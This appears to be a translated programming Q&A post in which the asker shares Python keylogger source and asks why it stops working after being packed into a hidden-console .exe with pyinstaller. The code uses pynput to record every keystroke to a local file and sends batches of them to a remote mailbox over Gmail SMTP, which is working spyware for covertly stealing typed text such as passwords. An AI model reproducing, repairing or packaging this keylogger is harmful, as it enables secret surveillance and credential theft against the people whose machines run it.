【发布时间】:2019-12-05 22:54:20
【问题描述】:
我正在使用 python 3.5 中的键盘记录器代码。它使用 pynput 在 txt 文件中记录击键,并使用 smtplib 通过电子邮件发送记录的击键。 当它是一个 .py 文件时,该代码可以正常工作,但不会在文件中记录击键,也不会在使用 pyinstaller 转换为 .exe 文件时通过电子邮件发送它们。请帮助我找出导致此问题的原因并解决它。感谢您调查此事。祝你有美好的一天! 我使用命令 pyinstaller - w - F filename.py 来转换它。
from pynput.keyboard import Listener
import smtplib
#Var that counts for the if statement==========
c = 0
#Var that collects keystrokes for email========
strokes = ''
#Codes for the smtp email======================
serv = smtplib.SMTP('smtp.gmail.com', 587)
serv.ehlo()
serv.starttls()
serv.login('email@gmail.com', 'password')
#Function for writing keycodes to the file=====
def writeToFile(key):
global c, strokes
keydata = str(key)
keydata = keydata.replace("'","")
`enter code here`#Special keys decoder===========================
if keydata == 'Key.space':
keydata = ' '
if keydata == 'Key.shift_r':
keydata = ' (r_shift) '
if keydata == 'Key.shift':
keydata = ' (l_shift) '
if keydata == 'Key.ctrl':
keydata = ' (l_ctrl) '
if keydata == 'Key.ctrl_r':
keydata = ' (r_ctrl) '
if keydata == 'Key.enter':
keydata = ' (enter) \n '
#Opens or creates the log file===============
with open("log.txt", 'a') as f:
f.write(keydata)
c += 1
#Keystrokes are added for the email==
strokes = strokes + str(keydata)
#Condition for sending the email=====
if c >= 10:
print(strokes)
c = 0
serv.sendmail('email@gmail.com', 'receiver@gmail.com', strokes)
serv.close()
#For listening to keycodes==================
with Listener(on_press=writeToFile) as l:
l.join()
【问题讨论】:
标签: python-3.x pyinstaller smtplib pynput